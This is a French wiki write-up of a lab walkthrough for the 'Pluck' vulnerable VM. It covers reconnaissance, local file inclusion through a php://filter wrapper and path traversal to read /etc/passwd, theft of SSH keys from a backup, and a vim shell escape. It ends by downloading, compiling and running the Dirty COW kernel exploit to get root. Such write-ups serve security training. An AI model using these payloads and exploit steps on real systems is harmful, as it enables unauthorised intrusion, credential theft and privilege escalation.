Outils pour utilisateurs

Outils du site


vm:pluck

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

vm:pluck [2017/03/30 14:16] (Version actuelle)
arkinar créée
Ligne 1: Ligne 1:
 +**Pluck - Write Up**
  
 +__Reconnaissance__
 +
 +<code bash>
 +nmap -sS -A 192.168.43.99
 +
 +PORT     STATE SERVICE VERSION
 +22/​tcp ​  ​open ​ ssh     ​(protocol 2.0)
 +
 +80/​tcp ​  ​open ​ http    Apache httpd 2.4.18 ((Ubuntu))
 +
 +3306/tcp open  mysql   MySQL (unauthorized)
 +</​code>​
 +
 +
 +__Exploitation web__
 +
 +{{ :​vm:​pluck.png?​nolink |}}
 +
 +On repère rapidement une LFI dans la variable **page**.
 +
 +On récupère la page admin.php avec un wrapper :
 +
 +<​code>​
 +http://​192.168.43.99/​index.php?​page=php://​filter/​read=convert.base64-encode/​resource=admin.php
 +</​code>​
 +{{ :​vm:​wrapper_pluck.png?​nolink |}}
 +
 +On décode le base64 du résultat :
 +
 +<code bash>
 +
 +echo '​PD9waHAKaW5jbHVkZSgiaGVhZGVyLnBocCIpOwoKZWNobyAiPGJyPjxicj48YnI+IjsKaWYgKCRfUE9TVCl7CmVjaG8gJwo8YnI+PGJyPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtOCBjb2wtbWQtb2Zmc2V0LTIiPgoKPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIiByb2xlPSJhbGVydCI+JzsKIAppZihzdHJwb3MoJF9QT1NUWydlbWFpbCddLCAnXCcnKSAhPT0gZmFsc2UpIHsKCWVjaG8gICI8c3Ryb25nPllvdSBoYXZlIGFuIGVycm9yIGluIHlvdXIgU1FMIHN5bnRheDsgY2hlY2sgdGhlIG1hbnVhbCB0aGF0IGNvcnJlc3BvbmRzIHRvIHlvdXIgTXlTUUwgc2VydmVyIHZlcnNpb24gZm9yIHRoZSByaWdodCBzeW50YXggdG8gdXNlIG5lYXIgJycnIGF0IGxpbmUgNjwvc3Ryb25nPiI7Cn1lbHNlewoJZWNobyAgIjxzdHJvbmc+SW5jb3JyZWN0IFVzZXJuYW1lIG9yIFBhc3N3b3JkITwvc3Ryb25nPiI7Cn0KPz4KPC9kaXY+CjwvZGl2Pgo8L2Rpdj4KPC9kaXY+Cjw/​cGhwCn0KPz4KPGJyPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgPGRpdiBjbGFzcz0icm93IHZlcnRpY2FsLW9mZnNldC0xMDAiPgogICAgCTxkaXYgY2xhc3M9ImNvbC1tZC00IGNvbC1tZC1vZmZzZXQtNCI+CiAgICAJCTxkaXYgY2xhc3M9InBhbmVsIHBhbmVsLWRlZmF1bHQiPgoJCQkgIAk8ZGl2IGNsYXNzPSJwYW5lbC1oZWFkaW5nIj4KCQkJICAgIAk8aDMgY2xhc3M9InBhbmVsLXRpdGxlIj5BZG1pbjwvaDM+CgkJCSAJPC9kaXY+CgkJCSAgCTxkaXYgY2xhc3M9InBhbmVsLWJvZHkiPgoJCQkgICAgCTxmb3JtIGFjY2VwdC1jaGFyc2V0PSJVVEYtOCIgcm9sZT0iZm9ybSIgYWN0aW9uPSJhZG1pbi5waHAiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGZpZWxkc2V0PgoJCQkgICAgCSAgCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgoJCQkgICAgCQkgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJFLW1haWwiIG5hbWU9ImVtYWlsIiB0eXBlPSJ0ZXh0Ij4KCQkJICAgIAkJPC9kaXY+CgkJCSAgICAJCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgoJCQkgICAgCQkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJQYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiB2YWx1ZT0iIj4KCQkJICAgIAkJPC9kaXY+CgkJCSAgICAJCTxkaXYgY2xhc3M9ImNoZWNrYm94Ij4KCQkJICAgIAkgICAgPC9kaXY+CgkJCSAgICAJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1sZyBidG4tc3VjY2VzcyBidG4tYmxvY2siIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4KCQkJICAgIAk8L2ZpZWxkc2V0PgoJCQkgICAgICAJPC9mb3JtPgoJCQkgICAgPC9kaXY+CgkJCTwvZGl2PgoJCTwvZGl2PgoJPC9kaXY+Cgo8P3BocAppbmNsdWRlKCJmb290ZXIucGhwIik7Cj8+Cg=='​ | base64 -d > admin.php </​code>​
 +
 +<file php admin.php>​
 +<div class="​alert alert-danger"​ role="​alert">';​
 + 
 +if(strpos($_POST['​email'​],​ '​\''​) !== false) {
 + echo  "<​strong>​You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''​ at line 6</​strong>";​
 +}else{
 + echo  "<​strong>​Incorrect Username or Password!</​strong>";​
 +}
 +?>
 +
 +</​file>​
 +
 +On remarque que l'​erreur sql sur l'​authentification n'est qu'un troll
 +
 +
 +On récupère le /etc/passwd
 +<​code>​
 +http://​192.168.43.99/​index.php?​page=../​../​../​../​../​../​../​../​../​../​etc/​passwd
 +</​code>​
 +{{ :​vm:​passwd.png?​nolink |}}
 +
 +Sur la dernière ligne on peut lire :
 +<​code>​
 +/​usr/​local/​scripts/​backup.sh
 +</​code>​
 +
 +On récupère le fichier backup.sh
 +<​code>​
 +http://​192.168.43.99/​index.php?​page=../​../​../​../​../​../​../​../​../​../​usr/​local/​scripts/​backup.sh
 +</​code>​
 +
 +<file bash backup.sh>​
 +#!/bin/bash ########################​ # Server Backup script # ########################​ #Backup directories in /backups so we can get it via tftp echo "​Backing up data" tar -cf /​backups/​backup.tar /home /​var/​www/​html > /dev/null 2& > /dev/null echo "​Backup complete" ​
 +</​file>​
 +
 +
 +On se connecte en telnet sur la machine
 +
 +<code bash>
 +telnet 192.168.43.99
 +</​code>​
 +On récupère le backup.tar
 +<code bash>
 +get /​backups/​backup.tar
 +</​code>​
 +
 +Dedans deux dossiers : le /home et le /​var/​www/​html
 +
 +Dans le /home de l'​utilisateur paul un dossier "​keys"​ contient des clés privés et publiques.
 +<code bash>
 +total 56K
 +drwxr-xr-x 2 ark1nar ark1nar 4,0K janv. 18 19:09 .
 +drwxr-xr-x 3 ark1nar ark1nar 4,0K janv. 18 19:13 ..
 +-rwxr-xr-x 1 ark1nar ark1nar ​ 668 janv. 18 19:08 id_key1
 +-rwxr-xr-x 1 ark1nar ark1nar ​ 600 janv. 18 19:08 id_key1.pub
 +-rwxr-xr-x 1 ark1nar ark1nar ​ 672 janv. 18 19:08 id_key2
 +-rwxr-xr-x 1 ark1nar ark1nar ​ 600 janv. 18 19:08 id_key2.pub
 +-rwxr-xr-x 1 ark1nar ark1nar ​ 668 janv. 18 19:08 id_key3
 +-rwxr-xr-x 1 ark1nar ark1nar ​ 600 janv. 18 19:08 id_key3.pub
 +-rw------- 1 ark1nar ark1nar 1,7K janv. 18 19:09 id_key4
 +-rwxr-xr-x 1 ark1nar ark1nar ​ 392 janv. 18 19:09 id_key4.pub
 +-rwxr-xr-x 1 ark1nar ark1nar ​ 668 janv. 18 19:08 id_key5
 +-rwxr-xr-x 1 ark1nar ark1nar ​ 600 janv. 18 19:08 id_key5.pub
 +-rwxr-xr-x 1 ark1nar ark1nar 1,7K janv. 18 19:09 id_key6
 +-rwxr-xr-x 1 ark1nar ark1nar ​ 392 janv. 18 19:09 id_key6.pub
 +</​code>​
 +
 +On essaye de se connecter avec les clé privés.
 +
 +Seul id_key4 nous renvoie un message différent :
 +
 +<code bash>
 +ssh paul@192.168.43.99 -i id_key4
 +
 +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 +@         ​WARNING:​ UNPROTECTED PRIVATE KEY FILE!          @
 +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 +Permissions 0755 for '​id_key4'​ are too open.
 +It is recommended that your private key files are NOT accessible by others.
 +This private key will be ignored.
 +key_load_private_type:​ bad permissions
 +paul@192.168.43.99'​s password: ​
 +</​code>​
 +
 +On met les bons droits sur la clé :
 +<code bash>
 +chmod 600 id_key4
 +</​code>​
 +La connexion à l'​utilisateur se fait sans demander le mot de passe. ​
 +
 +__Exploitation système & Élévation de privilège__
 +
 +On arrive dans un Pdmenu
 +
 +{{ :​vm:​pdmenu.png?​nolink |}}
 +
 +On choisit l'​option :"Edit File"
 +
 +On essaye d’éditer n'​importe quel fichier et c'est vim qui s'​ouvre :
 +
 +{{ :​vm:​edit.png?​nolink |}}
 +
 +Une fonctionnalité de vim nous permet d'​appeler un shell
 +<code bash>
 +:set shell ?
 +=> shell=/​usr/​bin/​pdmenu ​
 +:set shell=/​bin/​bash
 +:shell
 +</​code>​
 +
 +On récupère la version du noyau :
 +
 +<code bash>
 +paul@pluck:​~$ uname -a
 +Linux pluck 4.8.0-22-generic #24-Ubuntu SMP Sat Oct 8 09:15:00 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 +</​code>​
 +
 +Pour passer root nous allons utiliser l'​exploit [[
 +https://​gist.github.com/​rverton/​e9d4ff65d703a9084e85fa9df083c679 | dirtycow]]
 +
 +<code bash>
 +wget https://​gist.githubusercontent.com/​rverton/​e9d4ff65d703a9084e85fa9df083c679/​raw/​9b1b5053e72a58b40b28d6799cf7979c53480715/​cowroot.c
 +</​code>​
 +
 +On le compile :
 +<code bash>
 +gcc cowroot.c -o cowroot -pthread
 +</​code>​
 +On l’exécute
 +<code bash>
 +./cowroot
 +</​code>​
 +
 +{{ :​vm:​root_pluck.png?​nolink |}}
 +
 +Merci à l'​auteur de la vm !
vm/pluck.txt · Dernière modification: 2017/03/30 14:16 par arkinar